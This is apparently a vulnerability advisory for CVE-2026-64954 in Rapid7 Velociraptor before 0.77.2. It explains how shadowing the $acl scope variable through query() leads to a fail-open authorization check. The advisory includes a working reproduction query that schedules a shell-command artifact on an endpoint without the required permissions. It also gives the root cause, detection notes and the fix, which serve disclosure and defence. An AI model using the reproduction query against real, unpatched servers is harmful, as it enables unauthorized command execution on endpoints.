← All articles

CVE-2026-64954: Shadowing Velociraptor's Authorization Context

An analyst could replace the ordinary $acl scope variable and turn missing authorization state into a permissive collection path.

CVE
CVE-2026-64954
Product
Rapid7 Velociraptor
Affected versions
Linux releases before 0.77.2
Fixed versions
0.77.2
Status
Patched
8.2/ 10

CVSS 3.1 Base score

High

Rapid7 (CNA) score
Scoring details

Published vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

CVSS is owned by FIRST and used by permission.

The short version

Velociraptor stored its ACL manager in the ordinary VQL scope variable $acl. The query() function allowed user-controlled environment data to shadow that variable. Downstream code failed open when the replacement was not a valid ACL manager, allowing a stock analyst to schedule artifacts that required both COLLECT_CLIENT and EXECVE.

The issue was fixed before 0.77.2 and is tracked as CVE-2026-64954. Yuval Miller, Leon Kayaliev, and Tristan Madani reported the issue independently.

At a glance

Field Detail
Tested version Velociraptor 0.77.1, commit 3137c7f71
Fixed version 0.77.2
Vulnerability class Missing authorization, CWE-862
Vendor affected range Velociraptor on Linux before 0.77.2
Required access Stock analyst with notebook/VQL access
Demonstrated impact Command execution on an enrolled endpoint
Researcher estimate Critical; proposed CVSS 3.1 score 9.9

What I was testing

I was looking at where VQL treats scope values as data and where it treats them as authority. $acl stood out because it looked like an ordinary variable but carried the caller’s security context. The question was simple: if a nested query can supply its own environment, can it replace that value-and, if so, does the next privileged operation reject the broken context or continue?

I kept the first experiment deliberately narrow. The same analyst, endpoint, artifact, and command were used for both attempts; only the nested query() environment changed. A normal call had to fail before the shadowed call meant anything. I also verified the durable result in the created flow and on the endpoint instead of treating a successful VQL row as proof of execution.

Reproduction

The analyst lacked both COLLECT_CLIENT and EXECVE. Calling the collection function normally established the control:

SELECT collect_client(
  client_id='CLIENT_ID',
  artifacts=['Linux.Sys.BashShell'],
  spec=dict(`Linux.Sys.BashShell`=dict(
    Command='echo UNIQUE_MARKER; /usr/bin/id',
    Stateful='N'))) AS result
FROM scope()

The operation was denied. The same collection was then wrapped in query() with an environment value that replaced $acl:

SELECT * FROM query(
  env=set(item=dict(), field='$acl', value='poison'),
  query={
    SELECT collect_client(
      client_id='CLIENT_ID',
      artifacts=['Linux.Sys.BashShell'],
      spec=dict(`Linux.Sys.BashShell`=dict(
        Command='echo UNIQUE_MARKER; /usr/bin/id',
        Stateful='N'))) AS result
    FROM scope()
  })

On 0.77.1, Velociraptor scheduled a flow. When the disposable endpoint checked in, its results contained the unique marker and real id output. The flow’s creator was empty. A variant specifying another organization also scheduled a collection where the analyst had no membership.

Root cause

The ACL manager was stored in a normal scope variable. query() constructed a scope and then appended attacker-controlled environment variables, allowing the internal value to be replaced.

When downstream code asked for the ACL manager, the poisoned value was not an ACL-manager object. Instead of treating that as an authorization failure, collection and repository paths used NullACLManager or equivalent permissive handling. Checks for collection rights, artifact-required permissions, and organization access then succeeded.

This is the dangerous combination:

Security context stored in user-visible namespace
                    +
Caller can shadow that namespace
                    +
Missing or invalid context fails open
                    =
Authorization bypass

The two fail-open sinks

Shadowing $acl was the enabling primitive, but the authorization bypass occurred because two consumers treated an invalid security context as permission to continue. In vql/server/flows/create.go, CollectClientFunction.Call() attempted to retrieve the ACL manager and substituted NullACLManager when that lookup failed. The repository plugin in services/repository/plugin.go followed the same pattern during artifact invocation.

The effective behavior was:

aclManager, ok := GetACLManager(scope)
if !ok {
    aclManager = NullACLManager{} // approves checks
}

An invalid $acl value should have terminated evaluation. Instead, losing the authenticated principal selected a more permissive authorization object. That is why the bug crossed collection, artifact-required permission, and organization boundaries at once.

Impact boundary

This primitive did not independently execute on the special server client. Replacing $acl also removed the principal, and the server runner rejected an empty principal. The demonstrated impact was command execution on enrolled endpoints, not server-host SuperUser through this finding alone.

Detection notes

The clearest historical indicators are notebook queries that pass an env containing $acl, flows with an empty creator, and collections launched into organizations where the initiating user was not a member. None is sufficient alone, but the combination is difficult to explain as routine administration.

For live monitoring, record the authenticated principal and resolved ACL manager at the final collection sink. Alert when that context is missing, malformed, or differs from the principal attached to the request. Invalid authorization state should be both observable and terminal; silently replacing it with a null or permissive manager hides the most useful detection signal.

Remediation

Upgrade to Velociraptor 0.77.2 or later. The vendor fix in d7de958e changes the collection and repository consumers to return an error when GetACLManager fails. It does not make $acl non-shadowable; it makes the demonstrated shadowing fail closed at the privileged sinks.

Keeping authorization context outside ordinary user-visible scope and rejecting internal $ names in user environments remain worthwhile defense-in-depth recommendations, but they are not descriptions of this patch.

Disclosure timeline

Date Event
2026-08-03 Vulnerability reported to Rapid7
2026-08-12 Rapid7 confirmed the 0.77.2 fix and published CVE record

References